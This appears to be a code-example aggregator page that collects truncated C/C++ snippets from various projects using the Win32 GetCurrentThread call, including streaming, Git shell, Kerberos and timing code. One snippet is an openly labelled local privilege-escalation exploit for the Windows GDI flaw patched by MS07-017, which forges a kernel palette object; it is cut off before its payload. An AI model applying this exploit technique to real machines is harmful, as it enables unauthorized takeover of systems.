void RTMPPublisher::SocketLoop()
{
bool canWrite = false;
int delayTime;
int latencyPacketSize;
WSANETWORKEVENTS networkEvents;
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);
WSAEventSelect(rtmp->m_sb.sb_socket, hWriteEvent, FD_READ|FD_WRITE|FD_CLOSE);
//Low latency mode works by delaying delayTime ms between calls to send() and only sending
//a buffer as large as latencyPacketSize at once. This causes keyframes and other data bursts
//to be sent over several sends instead of one large one.
if (lowLatencyMode == LL_MODE_AUTO)
{
//Auto mode aims for a constant rate of whatever the stream bitrate is and segments into
//MTU sized packets (test packet captures indicated that despite nagling being enabled,
//the size of the send() buffer is still important for some reason). Note that delays
//become very short at this rate, and it can take a while for the buffer to empty after
//a keyframe.
delayTime = 1400.0f / (dataBufferSize / 1000.0f);
latencyPacketSize = 1460;
}
else if (lowLatencyMode == LL_MODE_FIXED)
{
//We use latencyFactor - 2 to guarantee we're always sending at a slightly higher
//rate than the maximum expected data rate so we don't get backed up
latencyPacketSize = dataBufferSize / (latencyFactor - 2);
delayTime = 1000 / latencyFactor;
}
else
{
latencyPacketSize = dataBufferSize;
delayTime = 0;
}
SetupSendBacklogEvent ();
HANDLE hObjects[3];
hObjects[0] = hWriteEvent;
hObjects[1] = hBufferEvent;
hObjects[2] = hSendBacklogEvent;
for (;;)
{
if (bStopping && WaitForSingleObject(hSocketLoopExit, 0) != WAIT_TIMEOUT)
{
OSEnterMutex(hDataBufferMutex);
if (curDataBufferLen == 0)
{
//OSDebugOut (TEXT("Exiting on empty buffer.\n"));
OSLeaveMutex(hDataBufferMutex);
break;
}
//OSDebugOut (TEXT("Want to exit, but %d bytes remain.\n"), curDataBufferLen);
OSLeaveMutex(hDataBufferMutex);
}
int status = WaitForMultipleObjects (3, hObjects, FALSE, INFINITE);
if (status == WAIT_ABANDONED || status == WAIT_FAILED)
{
Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to WaitForMultipleObjects failure"));
App->PostStopMessage();
return;
}
if (status == WAIT_OBJECT_0)
{
//Socket event
if (WSAEnumNetworkEvents (rtmp->m_sb.sb_socket, NULL, &networkEvents))
{
Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to WSAEnumNetworkEvents failure, %d"), WSAGetLastError());
App->PostStopMessage();
return;
}
if (networkEvents.lNetworkEvents & FD_WRITE)
canWrite = true;
if (networkEvents.lNetworkEvents & FD_CLOSE)
{
if (bStopping)
Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to FD_CLOSE during shutdown, %d bytes lost, error %d"), curDataBufferLen, networkEvents.iErrorCode[FD_CLOSE_BIT]);
else
Log(TEXT("RTMPPublisher::SocketLoop: Aborting due to FD_CLOSE, error %d"), networkEvents.iErrorCode[FD_CLOSE_BIT]);
FatalSocketShutdown ();
return;
}
if (networkEvents.lNetworkEvents & FD_READ)
{
BYTE discard[16384];
int ret, errorCode;
BOOL fatalError = FALSE;
//.........这里部分代码省略.........
void CFolderCrawler::WorkerThread()
{
HANDLE hWaitHandles[2];
hWaitHandles[0] = m_hTerminationEvent;
hWaitHandles[1] = m_hWakeEvent;
CTGitPath workingPath;
ULONGLONG currentTicks = 0;
for(;;)
{
bool bRecursive = !!(DWORD)CRegStdDWORD(L"Software\\TortoiseGit\\RecursiveOverlay", TRUE);
SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_END);
DWORD waitResult = WaitForMultipleObjects(_countof(hWaitHandles), hWaitHandles, FALSE, INFINITE);
// exit event/working loop if the first event (m_hTerminationEvent)
// has been signaled or if one of the events has been abandoned
// (i.e. ~CFolderCrawler() is being executed)
if(m_bRun == false || waitResult == WAIT_OBJECT_0 || waitResult == WAIT_ABANDONED_0 || waitResult == WAIT_ABANDONED_0+1)
{
// Termination event
break;
}
SetThreadPriority(GetCurrentThread(), THREAD_MODE_BACKGROUND_BEGIN);
// If we get here, we've been woken up by something being added to the queue.
// However, it's important that we don't do our crawling while
// the shell is still asking for items
bool bFirstRunAfterWakeup = true;
for(;;)
{
if (!m_bRun)
break;
// Any locks today?
if (CGitStatusCache::Instance().m_bClearMemory)
{
CAutoWriteLock writeLock(CGitStatusCache::Instance().GetGuard());
CGitStatusCache::Instance().ClearCache();
CGitStatusCache::Instance().m_bClearMemory = false;
}
if(m_lCrawlInhibitSet > 0)
{
// We're in crawl hold-off
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl hold-off\n");
Sleep(50);
continue;
}
if (bFirstRunAfterWakeup)
{
Sleep(20);
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl bFirstRunAfterWakeup\n");
bFirstRunAfterWakeup = false;
continue;
}
if ((m_blockReleasesAt < GetTickCount64()) && (!m_blockedPath.IsEmpty()))
{
CTraceToOutputDebugString::Instance()(_T(__FUNCTION__) L": Crawl stop blocking path %s\n", m_blockedPath.GetWinPath());
m_blockedPath.Reset();
}
CGitStatusCache::Instance().RemoveTimedoutBlocks();
while (!m_pathsToRelease.empty())
{
AutoLocker lock(m_critSec);
CTGitPath path = m_pathsToRelease.Pop();
GitStatus::ReleasePath(path.GetWinPathString());
}
if (m_foldersToUpdate.empty() && m_pathsToUpdate.empty())
{
// Nothing left to do
break;
}
currentTicks = GetTickCount64();
if (!m_pathsToUpdate.empty())
{
{
AutoLocker lock(m_critSec);
m_bPathsAddedSinceLastCrawl = false;
workingPath = m_pathsToUpdate.Pop();
if ((!m_blockedPath.IsEmpty()) && (m_blockedPath.IsAncestorOf(workingPath)))
{
// move the path to the end of the list
m_pathsToUpdate.Push(workingPath);
if (m_pathsToUpdate.size() < 3)
Sleep(50);
continue;
}
}
// don't crawl paths that are excluded
if (!CGitStatusCache::Instance().IsPathAllowed(workingPath))
continue;
// check if the changed path is inside an .git folder
CString projectroot;
if ((workingPath.HasAdminDir(&projectroot)&&workingPath.IsDirectory()) || workingPath.IsAdminDir())
//.........这里部分代码省略.........
int main(int argc, char *argv[])
{
SECTION_BASIC_INFORMATION SectionInfo;
PGDI_TABLE_ENTRY pGdiEntry;
PLOGPALETTE pLogPal;
HANDLE hPal;
PVOID OriginalPalObject;
PVOID FalsePalObject;
HANDLE hThread = GetCurrentThread();
DWORD OriginalThreadPriotity = GetThreadPriority (hThread);
HANDLE hSection = (ULONG)0;
PVOID MapFile = 0;
HANDLE hProcess = (HANDLE)0xFFFFFFFF;
WORD Pid = GetCurrentProcessId();
NtQuerySection = (NTQUERYSECTION)GetProcAddress(LoadLibrary( "ntdll.dll"),"NtQuerySection");
printf ("##########################################################\n");
printf ("# GDI Local Elevation of Privilege Vulnerability Exploit #\n");
printf ("# All Windows 2000/XP before MS07-017 patch #\n");
printf ("##########################################################\n");
printf ("# coded by Lionel d'Hauenens http://www.labo-asso.com #\n");
printf ("##########################################################\n\n");
// Search handle section and mapper in virtual memory of user
while ((DWORD)hSection<0xFFFF)
{
SectionInfo.Attributes = 0;
MapFile = MapViewOfFile((HANDLE)hSection, FILE_MAP_ALL_ACCESS, 0, 0, 0);
if (MapFile)
{
NtQuerySection((HANDLE)hSection,0,&SectionInfo,sizeof(SectionInfo),0);
if (SectionInfo.Attributes == SEC_COMMIT) break; // For compatibility with win2k
UnmapViewOfFile(MapFile);
MapFile = 0;
}
hSection++;
}
if (!MapFile)
{
printf ("Could not found shared section !\n");
exit(0);
}
// Create Palette
pLogPal = (PLOGPALETTE) calloc (sizeof(LOGPALETTE)+sizeof(PALETTEENTRY), 1);
pLogPal->palNumEntries = 1;
pLogPal->palVersion = 0x300;
hPal = (HANDLE)CreatePalette(pLogPal);
if (!hPal)
{
printf ("Could not create palette !\n");
exit(0);
}
// Search the entry of pal object
OriginalPalObject = (PVOID)0;
pGdiEntry = (PGDI_TABLE_ENTRY)MapFile;
while ((DWORD)pGdiEntry < ((DWORD)MapFile) + SectionInfo.Size.QuadPart)
{
if ( pGdiEntry->ProcessID == Pid &&
pGdiEntry->nType == PAL_TYPE )
{
// Save original pointer
OriginalPalObject = (PVOID)pGdiEntry->pKernelInfo;
break;
}
pGdiEntry++;
}
if (!OriginalPalObject)
{
printf ("Could not find entry of Pal object !\n");
exit(0);
}
// Create the false Pal object
FalsePalObject = (PVOID) calloc(0x100/4,4);
((PDWORD)FalsePalObject)[0] = (DWORD)hPal; // Handle
((PDWORD)FalsePalObject)[0x14/4] = (DWORD) 1; // Availabled flag
((PVOID*)FalsePalObject)[0x3C/4] = (PVOID) &hook; // Interface GetNearestPaletteIndex
printf ("Section:\n--------\n");
printf ("Handle: 0x%08X Attributes: %08X Size: 0x%08X\n\n", hSection
, SectionInfo.Attributes
, SectionInfo.Size.QuadPart);
printf ("Pointer of original pal object: 0x%08X\n", OriginalPalObject);
printf ("Address of user map: 0x%08X\n", MapFile);
printf ("Pointer of false pal object: 0x%08X\n", FalsePalObject);
printf ("Entry of GDI palette in user view: 0x%08X\n", MapFile+((((ULONG)hPal) & 0xFFFF)*sizeof(GDI_TABLE_ENTRY)) );
printf ("Address of Hook(): 0x%08X\n\n", &hook);
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
printf ("->Test...");
flag_test = 0;
SetThreadPriority (hThread, THREAD_PRIORITY_HIGHEST);
//.........这里部分代码省略.........
开发者ID:B-Rich,项目名称:osf_db,代码行数:101,代码来源:20940_2.c
示例6: IsAdmin
//**********************************************************************
//
// FUNCTION: IsAdmin - This function checks the token of the
// calling thread to see if the caller belongs to
// the Administrators group.
//
// PARAMETERS: none
//
// RETURN VALUE: TRUE if the caller is an administrator on the local
// machine. Otherwise, FALSE.
//
//**********************************************************************
BOOL IsAdmin(void)
{
HANDLE hToken;
DWORD dwStatus;
DWORD dwAccessMask;
DWORD dwAccessDesired;
DWORD dwACLSize;
DWORD dwStructureSize = sizeof(PRIVILEGE_SET);
PACL pACL = NULL;
PSID psidAdmin = NULL;
BOOL bReturn = FALSE;
PRIVILEGE_SET ps;
GENERIC_MAPPING GenericMapping;
PSECURITY_DESCRIPTOR psdAdmin = NULL;
SID_IDENTIFIER_AUTHORITY SystemSidAuthority = SECURITY_NT_AUTHORITY;
__try {
// AccessCheck() requires an impersonation token.
ImpersonateSelf(SecurityImpersonation);
if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &hToken))
{
if (GetLastError() != ERROR_NO_TOKEN) __leave;
// If the thread does not have an access token, we'll
// examine the access token associated with the process.
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) __leave;
}
if (!AllocateAndInitializeSid(&SystemSidAuthority, 2,
SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0, &psidAdmin))
__leave;
psdAdmin = LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
if (psdAdmin == NULL) __leave;
if (!InitializeSecurityDescriptor(psdAdmin, SECURITY_DESCRIPTOR_REVISION)) __leave;
// Compute size needed for the ACL.
dwACLSize = sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psidAdmin) - sizeof(DWORD);
// Allocate memory for ACL.
pACL = (PACL)LocalAlloc(LPTR, dwACLSize);
if (pACL == NULL) __leave;
// Initialize the new ACL.
if (!InitializeAcl(pACL, dwACLSize, ACL_REVISION2)) __leave;
dwAccessMask = ACCESS_READ | ACCESS_WRITE;
// Add the access-allowed ACE to the DACL.
if (!AddAccessAllowedAce(pACL, ACL_REVISION2, dwAccessMask, psidAdmin)) __leave;
// Set the DACL to the SD.
if (!SetSecurityDescriptorDacl(psdAdmin, TRUE, pACL, FALSE)) __leave;
// AccessCheck is sensitive about what is in the SD; set
// the group and owner.
SetSecurityDescriptorGroup(psdAdmin, psidAdmin, FALSE);
SetSecurityDescriptorOwner(psdAdmin, psidAdmin, FALSE);
if (!IsValidSecurityDescriptor(psdAdmin)) __leave;
dwAccessDesired = ACCESS_READ;
//
// Initialize GenericMapping structure even though you
// do not use generic rights.
//
GenericMapping.GenericRead = ACCESS_READ;
GenericMapping.GenericWrite = ACCESS_WRITE;
GenericMapping.GenericExecute = 0;
GenericMapping.GenericAll = ACCESS_READ | ACCESS_WRITE;
if (!AccessCheck(psdAdmin, hToken, dwAccessDesired,
&GenericMapping, &ps, &dwStructureSize, &dwStatus,
&bReturn))
{
printf("AccessCheck() failed with error %lu\n", GetLastError());
__leave;
}
RevertToSelf();
//.........这里部分代码省略.........
/*
* Expand a %{USERID} token
*
* The %{USERID} token expands to the string representation of the
* user's SID. The user account that will be used is the account
* corresponding to the current thread's security token. This means
* that:
*
* - If the current thread token has the anonymous impersonation
* level, the call will fail.
*
* - If the current thread is impersonating a token at
* SecurityIdentification level the call will fail.
*
*/
static krb5_error_code
expand_userid(krb5_context context, PTYPE param, const char *postfix,
char **ret)
{
int rv = EINVAL;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
PTOKEN_OWNER pOwner = NULL;
DWORD len = 0;
LPTSTR strSid = NULL;
hThread = GetCurrentThread();
if (!OpenThreadToken(hThread, TOKEN_QUERY,
FALSE, /* Open the thread token as the
current thread user. */
&hToken)) {
DWORD le = GetLastError();
if (le == ERROR_NO_TOKEN) {
HANDLE hProcess = GetCurrentProcess();
le = 0;
if (!OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
le = GetLastError();
}
if (le != 0) {
k5_setmsg(context, rv, "Can't open thread token (GLE=%d)", le);
goto cleanup;
}
}
if (!GetTokenInformation(hToken, TokenOwner, NULL, 0, &len)) {
if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {
k5_setmsg(context, rv,
"Unexpected error reading token information (GLE=%d)",
GetLastError());
goto cleanup;
}
if (len == 0) {
k5_setmsg(context, rv,
"GetTokenInformation() returned truncated buffer");
goto cleanup;
}
pOwner = malloc(len);
if (pOwner == NULL) {
rv = ENOMEM;
goto cleanup;
}
} else {
k5_setmsg(context, rv,
"GetTokenInformation() returned truncated buffer");
goto cleanup;
}
if (!GetTokenInformation(hToken, TokenOwner, pOwner, len, &len)) {
k5_setmsg(context, rv,
"GetTokenInformation() failed. GLE=%d", GetLastError());
goto cleanup;
}
if (!ConvertSidToStringSid(pOwner->Owner, &strSid)) {
k5_setmsg(context, rv,
"Can't convert SID to string. GLE=%d", GetLastError());
goto cleanup;
}
*ret = strdup(strSid);
if (*ret == NULL) {
rv = ENOMEM;
goto cleanup;
}
rv = 0;
cleanup:
if (hToken != NULL)
CloseHandle(hToken);
if (pOwner != NULL)
free(pOwner);
//.........这里部分代码省略.........
void PsychGetPrecisionTimerSeconds(double *secs)
{
double ss, ticks, diff;
static LARGE_INTEGER counterFreq;
LARGE_INTEGER count;
static double oss=0.0f;
static double oldticks=0.0f;
static double lastSlowcheckTimeSecs = -1;
static double lastSlowcheckTimeTicks = -1;
int tick1, tick2, hangcount;
psych_uint64 curRawticks;
static psych_uint64 oldRawticks;
static psych_uint64 tickWarpOffset = 0;
// First time init of timeglue: Set up system for high precision timing,
// and enable workarounds for broken systems:
if (firstTime) {
// Switch the system into high resolution timing mode, i.e.,
// 1 khZ timer interrupts aka 1 msec timer resolution, for both,
// the Sleep() command and TimeGetTime() queries. This way, our hybrid
// sleep-waiting algorithm for PsychWaitUntilSeconds() can work with
// tight busy-wait transition thresholds and doesn't burn too much
// CPU time. The timeGetTime() function then gets sufficient granularity -
// 1 msecs - to be a good reference for our correctness/consistency
// checks on the high precision timer, and it is a sufficient fallback
// in case of broken timers.
// The drawback is increased general interrupt load due to the 1 kHZ IRQ's...
if ((timeBeginPeriod(1)!=TIMERR_NOERROR) && (schedulingtrouble == FALSE)) {
// High precision mode failed! Output warning on first failed invocation...
schedulingtrouble = TRUE;
printf("PTBCRITICAL -ERROR: PsychTimeGlue - Win32 syscall timeBeginPeriod(1) failed!!! Timing will be inaccurate.\n");
printf("PTBCRITICAL -ERROR: Time measurement may be highly unreliable - or even false!!!\n");
printf("PTBCRITICAL -ERROR: FIX YOUR SYSTEM! In its current state its not useable for conduction of studies!!!\n");
printf("PTBCRITICAL -ERROR: Check the FAQ section of the Psychtoolbox Wiki for more information.\n");
// Increase switching threshold to 10 msecs to take low timer resolution into account:
sleepwait_threshold = 0.010;
}
// This command timeEndPeriod(1); should be used when flushing the MEX file, but
// we don't do it. Once a PsychTimeGlue function was called, we leave Matlab at
// high timing precision mode and rely on the OS to revert to standard Windoze
// behaviour, once the Matlab application is quit/terminated.
// Next step for broken systems: Bind our Matlab interpreter/PTB main thread to the
// first cpu core in the system. The only known way to make sure we don't get time
// readings from different TSCs due to our thread jumping between cpu's. TSC's on
// a multi-core system are not guaranteed to be synchronized, so if TSC is our timebase,
// this could lead to time inconsistencies - even time going backwards between queries!!!
// Drawback: We may not make optimal use of a multi-core system.
if (SetThreadAffinityMask(GetCurrentThread(), 1)==0) {
// Binding failed! Output warning on first failed invocation...
schedulingtrouble = TRUE;
printf("PTBCRITICAL -ERROR: PsychTimeGlue - Win32 syscall SetThreadAffinityMask() failed!!! Timing could be inaccurate.\n");
printf("PTBCRITICAL -ERROR: Time measurement may be highly unreliable - or even false!!!\n");
printf("PTBCRITICAL -ERROR: FIX YOUR SYSTEM! In its current state its not useable for conduction of studies!!!\n");
printf("PTBCRITICAL -ERROR: Check the FAQ section of the Psychtoolbox Wiki for more information.\n");
}
// Spin-Wait until timeGetTime() has switched to 1 msec resolution:
hangcount = 0;
while(hangcount < 100) {
tick1 = (int) timeGetTime();
while((tick2=(int) timeGetTime()) == tick1);
if (tick2 - tick1 == 1) break;
hangcount++;
}
if (hangcount >= 100) {
// Totally foobared system! Output another warning but try to go on. Checks further below in code
// will trigger and provide counter measures - as far as this is possible with such a screwed system :-(
printf("PTB-CRITICAL WARNING! Timing code detected problems with the low precision TIMER in your system hardware!\n");
printf("PTB-CRITICAL WARNING! It doesn't run at the requested rate of 1 tick per millisecond. Interrupt problems?!?\n");
printf("PTB-CRITICAL WARNING! Your system is somewhat screwed up wrt. timing!\n");
printf("PTB-CRITICAL WARNING! It is NOT RECOMMENDED to continue using this machine for studies that require high\n");
printf("PTB-CRITICAL WARNING! timing precision in stimulus onset or response collection. No guarantees can be made\n");
printf("PTB-CRITICAL WARNING! wrt. to timing or correctness of any timestamps or stimulus onsets!\n");
printf("PTB-CRITICAL WARNING! Check the FAQ section of the Psychtoolbox Wiki for more information.\n\n");
}
// Ok, now timeGetTime() should have the requested 1 msec increment rate.
oldRawticks = -1;
// Ok, this is a dumb solution, but at least sort of robust. The
// proper solution will have to wait for the next 'beta' release cycle.
// We don't allow to use any timing function on a Windoze system that
// has more than 48 days of uptime. Rationale: At 49.8 days, the 32 bit
// tick counter will wrap around and leave our fallback- and reference
// timebase in an undefined state. Implementing proper wraparound handling
// for inifinite uptimes is not simple, due to PTB's modular nature and
// some special flaws of Windoze. Anyway, 48 days uptime is unlikely
// anyway, unless the user doesn't perform regular system updates...
if (((double) timeGetTime() * 0.001) > (3600 * 24 * 48)) {
// Uptime exceeds 48 days. Say user this is a no no:
printf("PTB-ERROR: Your system is running since over 48 days without a reboot. Due to some\n");
printf("PTB-ERROR: pretty disgusting design flaws in the Windows operating system, timing\n");
printf("PTB-ERROR: will become unreliable or wrong at uptimes of more than 49 days.\n");
printf("PTB-ERROR: Therefore PTB will not continue executing any time related function unless\n");
printf("PTB-ERROR: you reboot your machine now.\n\n");
//.........这里部分代码省略.........
pthread_t
pthread_self (void)
/*
* ------------------------------------------------------
* DOCPUBLIC
* This function returns a reference to the current running
* thread.
*
* PARAMETERS
* N/A
*
*
* DESCRIPTION
* This function returns a reference to the current running
* thread.
*
* RESULTS
* pthread_t reference to the current thread
*
* ------------------------------------------------------
*/
{
pthread_t self;
#ifdef _UWIN
if (!ptw32_selfThreadKey)
return (NULL);
#endif
self = (pthread_t) pthread_getspecific (ptw32_selfThreadKey);
if (self == NULL)
{
/*
* Need to create an implicit 'self' for the currently
* executing thread.
*/
self = ptw32_new ();
if (self != NULL)
{
/*
* This is a non-POSIX thread which has chosen to call
* a POSIX threads function for some reason. We assume that
* it isn't joinable, but we do assume that it's
* (deferred) cancelable.
*/
self->implicit = 1;
self->detachState = PTHREAD_CREATE_DETACHED;
self->thread = GetCurrentThreadId ();
#ifdef NEED_DUPLICATEHANDLE
/*
* DuplicateHandle does not exist on WinCE.
*
* NOTE:
* GetCurrentThread only returns a pseudo-handle
* which is only valid in the current thread context.
* Therefore, you should not pass the handle to
* other threads for whatever purpose.
*/
self->threadH = GetCurrentThread ();
#else
if (!DuplicateHandle (GetCurrentProcess (),
GetCurrentThread (),
GetCurrentProcess (),
&self->threadH,
0, FALSE, DUPLICATE_SAME_ACCESS))
{
/* Thread structs are never freed. */
ptw32_threadReusePush (self);
return (NULL);
}
#endif
/*
* No need to explicitly serialise access to sched_priority
* because the new handle is not yet public.
*/
self->sched_priority = GetThreadPriority (self->threadH);
}
pthread_setspecific (ptw32_selfThreadKey, self);
}
return (self);
} /* pthread_self */
int main(int argc, char * argv[])
{
std::cout << "\n Intel(r) Performance Counter Monitor " << INTEL_PCM_VERSION << std::endl;
std::cout << "\n MSR read/write utility\n\n";
uint64 value = 0;
bool write = false;
int core = 0;
int msr = -1;
bool dec = false;
int my_opt = -1;
while ((my_opt = getopt(argc, argv, "w:c:d")) != -1)
{
switch(my_opt)
{
case 'w':
write = true;
value = read_number(optarg);
break;
case 'c':
core = (int) read_number(optarg);
break;
case 'd':
dec = true;
break;
default:
print_usage(argv[0]);
return -1;
}
}
if (optind >= argc)
{
print_usage(argv[0]);
return -1;
}
msr = (int) read_number(argv[optind]);
#ifdef OK_WIN_BUILD
// Increase the priority a bit to improve context switching delays on Windows
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_ABOVE_NORMAL);
TCHAR driverPath[1032];
GetCurrentDirectory(1024, driverPath);
wcscat_s(driverPath, 1032, L"\\msr.sys");
// WARNING: This driver code (msr.sys) is only for testing purposes, not for production use
Driver drv;
// drv.stop(); // restart driver (usually not needed)
if (!drv.start(driverPath))
{
std::cout << "Can not load MSR driver." << std::endl;
std::cout << "You must have signed msr.sys driver in your current directory and have administrator rights to run this program" << std::endl;
return -1;
}
#endif
MsrHandle h(core);
if(!dec) std::cout << std::hex << std::showbase;
if(write)
{
std::cout << " Writing "<< value << " to MSR "<< msr << " on core "<< core << std::endl;
h.write(msr,value);
}
value = 0;
h.read(msr,&value);
std::cout << " Read value "<< value << " from MSR "<< msr << " on core "<< core << "\n" << std::endl;
}
请发表评论